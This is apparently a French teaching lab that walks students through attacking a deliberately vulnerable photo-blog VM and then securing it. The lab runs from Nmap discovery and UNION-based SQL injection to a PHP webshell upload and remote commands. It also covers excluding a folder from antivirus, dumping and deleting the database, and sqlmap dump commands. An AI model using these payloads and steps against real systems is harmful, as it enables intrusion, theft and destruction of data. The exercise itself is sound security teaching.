De l’injection SQL au Webshell

Mise en situation

Vous devez attaquer le site web — nommé “My Awesome PhotoBlog” — de façon à voler des données stockées sur le serveur virtualisé qui l’héberge.

Découverte de la cible

🎯 Travail à faire :

  1. Utiliser NMap pour découvrir sur le réseau la VM qui héberge le site web à attaquer. Puis :

    • donner l’IP du serveur hébergeant le site web,

    • donner et expliquer la commande NMap saisie pour la découvrir

    • expliquer comment s’est faite la détermination du serveur dans le résultat du scan NMap

      NMap ne parvient pas toujours à scanner les VMs dans Virtual Box avec les options par défaut.

      Ce problème a été signalé dans l'issue #1813 link sur le GitHub du projet NMap.

      la solution de contournement proposée consiste à utiliser la technique de scan “TCP Connect” (→ option -sT)

  2. Utiliser les outils de développement du navigateur web pour donner :

    • le nom du système d’exploitation du serveur

    • le nom et la version du serveur web utilisé pour héberger le site

    • le nom et la version du langage utilisé pour coder le site

    Ces informations ne sont pas toujours données mais c’est le cas ici.

    Ces informations ne devraient pas être accessibles puisqu’elles peuvent orienter le hacker sur la façon dont il va procéder pour mener son attaque.

Identification des vulnérabilités

À présent que vous connaissez l’OS, le nom du serveur web et le langage utilisé pour coder le site web, vous voulez déterminer si une base de données est présente sur le serveur et si le site est protégé conte les injections SQL.

Vous constatez que certaines différentes pages du site sont accessibles depuis une url de type http://<X.Y.Z.T>/cat.php?id=N. Vous vous dites que le paramètre id peut éventuellement être utilisé dans une requête SQL vers la base de données.

Vous tentez votre chance en forgeant des URLs mal formées de façon à exploiter d’éventuelles failles en utilisant l’injection SQL.

🎯 Travail à faire :

En vous appuyant sur Injection SQL et internet :

  1. Déterminer si le site est vulnérable à l’injection SQL

    Vous pouvez par exemple insérer un guillemet simple dans l’URL ou modifier une valeur numérique par un contenu équivalent en langage SQL

  2. Le cas échéant, tenter de découvrir la structure de la base de données de façon à pouvoir éventuellement extraire des données d’authentification

    Pour cela :

    1. Trouver un moyen pour afficher des informations à l’écran

      Ceci peut être parfois fait en ajoutant le résultat de requêtes construites en aveugle à ceux retournés dans le cadre de l’utilisation normale du site.

      Exemple
      http://192.168.5.141/cat.php?id=1 (1)
      http://192.168.5.141/cat.php?id=1 UNION SELECT 1,2 (2)
      1 URL originale
      2 URL modifiée qui affichera un des 2 nombres (1 ou 2) quelque part sur la page web retournée si la requête engendrée par l’URL originale retourne des tuples contenant 2 valeurs ou une erreur dans le cas contraire. En ajoutant ou soustrayant, des valeurs dans le SELECT, on peut déterminer la taille des tuples retournés.
    2. Une fois ce moyen trouvé, faire en sorte d’afficher, non plus des valeurs sans intérêt, mais des informations sur la base de données : noms des tables, contenu des tables…​

      Ces informations peuvent être obtenues avec des fonctions internes de MySQL comme database() ou depuis la base de données interne information_schema de MySQL qui contient des informations sur les bases de données qu’il gère.

    3. Extraire les données d’authentification en affichant cette fois-ci le contenu de la table qui les renferme

  3. S’authentifier en tant qu' “Admin” sur le site web.

    Le mot de passe ne doit jamais être stocké en clair dans les bases de données.

    Le mot de passe que vous avez récupéré est donc sûrement “hashé”

    Pour tenter de le décoder, on peut se rendre sur un site comme md5hashing.net pour essayer différents algorithmes de “hashage” (BASE64, SHA-1, MD5, CRC-32 …​)

    Le hashage ne peut théoriquement pas être inversé.

    Retrouver un mot de passe depuis son hash ne peut se faire qu’en le comparant qu’avec le hash de mots de passes issus par exemple d’une rainbow table (← liste de mots de passe couramment utilisés).

Intrusion à distance

Vous avez désormais trouvé le moyen de vous introduire dans le site.

Vous allez à présent tenter de prendre le contrôle de la machine qui héberge le site.

Depuis l’interface d’administration du site, vous voyez qu’il est possible de téléverser des images.

Vous vous dîtes alors qu’il est peut-être possible de faire passer pour des images du code malveillant — appelé payload — qui vous permettra de prendre le contrôle de la machine à distance à la manière d’un reverse shell

🎯 Travail à faire :

  1. Créer localement le fichier PHP suivant :

    cmd.php
    <?php
       system($_GET['cmd']);
    ?>

    Ce fichier est détecté comme une menace par Microsoft Defender : il le supprime donc.

    Pour pouvoir le sauvegarder, il faut l’enregistrer dans un dossier qu’on aura exclu de la surveillance de Microsoft Defender.

    Ceci s’effectue depuis le menu Paramètres de sécurité réseau  Protection contre les virus et les menaces  Paramètres de protection contre les virus et les menaces  Exclusions

  2. Tenter de téléverser ce scipt via le bouton Add a new picture

    Est-ce possible ?

  3. Contourner cette protection en trouvant une extension de fichier accepté pour le téléversement.

  4. Découvrir l’endroit sur le site où sont stockés les fichiers téléversés en inspectant par exemple depuis le navigateur les images déjà présentes

  5. À partir de cet instant, vous pouvez exécuter des commandes à distance sur la machine hébergeant le site en les transmettant à votre script PHP malveillant par l’URL

    http://192.168.5.141/admin/uploads/<script-malveillant>?cmd=whoami (1)
    
    => Affiche : www-data
    1 on transmet la commande whoami au script malveillant. Celle-ci permet d’obtenir le nom sous lequel on exécute les commandes

    La commande shell s’exécute sous l’identité du serveur web ("www-data") donc celles réservées à l’utilisateur root ne nous seront pas accessibles…​mais ça coûte rien d’essayer 😉.

Pillage

Pour illustrer ce qu’il vous est désormais possible de faire, vous allez tenter de récupérer le contenu de la base de données au format SQL

🎯 Travail à faire :

  1. Tenter d’tiliser la commande mysqldump pour récupérer toutes les directives SQL permettant de recréer la base de données utilisée par le site web à l’identique de l’état dans lequel elle se trouvait au moment de la sauvegarde.

  2. Tenter de supprimer la base de donnée (→ mysqladmin) et les images du site web pour le rendre inopérant

Sécurisation du site

On vous demande à présent de corriger le code du site pour le sécuriser en utilisant des requêtes préparées link (→ prepared statements).

🎯 Travail à faire :

  1. Récupérer le code source du site web zip et le “dump” de la base de données file

    Le code source du site web fourni a été mis à jour par rapport à celui du site original de façon à faire usage de l’extension mysqli link pour accéder à la base de données.

    Le site original utilise en effet l’API MySQL historique link — désormais obsolète — qui ne prend pas en charge les requêtes préparées.

    Voir aussi MySQLi : une nouveauté dans le PHP link pour une présentation en français de cette API.

  2. Déployer le site web sur une machine virtuelle de type “LAMP” (→ Linux Apache MySQL PHP).

    Ceci consiste à :

    • Créer un hôte virtuel sur le serveur Apache pour héberger le site web

    • Créer la base de données photoblog sur le serveur MySQL

    Au lieu de créer un machine virtuelle “Linux LAMP” de toute pièce, vous pouvez en créer une à partir d’un distribution déjà pré-configurée comme Turnkey LAMP Stack.

    Le fichier .iso de cette distribution est disponible sur le NAS de la section et un tutoriel de mise en œuvre est disponible sur A LAMP server in VirtualBox but with minimum download link

  3. Sécuriser le site en :

    • modifiant le code PHP pour utiliser des requêtes préparées link

      Des fragments de code PHP illustrant la mise en œuvre de requêtes préparées avec l’API mysqli (mais aussi pdo) sont disponibles sur la méthode mysqli VS la méthode PDO pour la gestion de bases de données en PHP link

    • renforçant la configuration des serveurs web (→ Apache + PHP) et de base de données (→ MySQL).

      Exemples :

      • Interdire l’interprétation des fichiers non reconnus comme du PHP

      • Mettre en place la règle du moindre privilège sur la base de données

      • …​

Vérification de la sécurisation

Vous allez pour finir vérifier que le site web n’est plus vunérable aux injections SQL en utilisant sqlmap qui est un outil de test de pénétration open source qui automatise le processus de détection et d’exploitation des failles d’injection SQL et de prise de contrôle des serveurs de base de données.

🎯 Travail à faire :

  1. Télécharger depuis le NAS l’archive de sqlmap en téléchargeant l’archive disponible sur le NAS :+ (→ \\diskstation\install\sqlmap\sqlmapproject-sqlmap-<version>.zip

  2. Désarchiver le fichier dans C:\bin\sqlmap

  3. Lancer un terminal depuis lequel l’interpréteur Python est accessible (→ Démarrer  Anaconda prompt (miniconda3))

  4. Tenter de découvrir avec sqlmap le nom des bases de données présentes sur le site :

    > python sqlmap.py -u http://<site-photoblog>/cat.php?id=1 --dbs --batch (1)
    1 Contrairement au site d’origine cette commande ne doit pas afficher les bases de données du site (→ photoblog et information_schema)
  5. Poursuivre l’évaluation de la résistance à l’injection SQL du site en tentant d’afficher le contenu de la base de données photoblog (à supposer que le nom de celle-ci soit connue…​)

    > python sqlmap.py –u http://<site-photoblog>/cat.php?id=1 –D photoblog --dump-all --batch (1)
    1 Cette commande ne doit pas afficher le contenu des tables de la base de données

🞄  🞄  🞄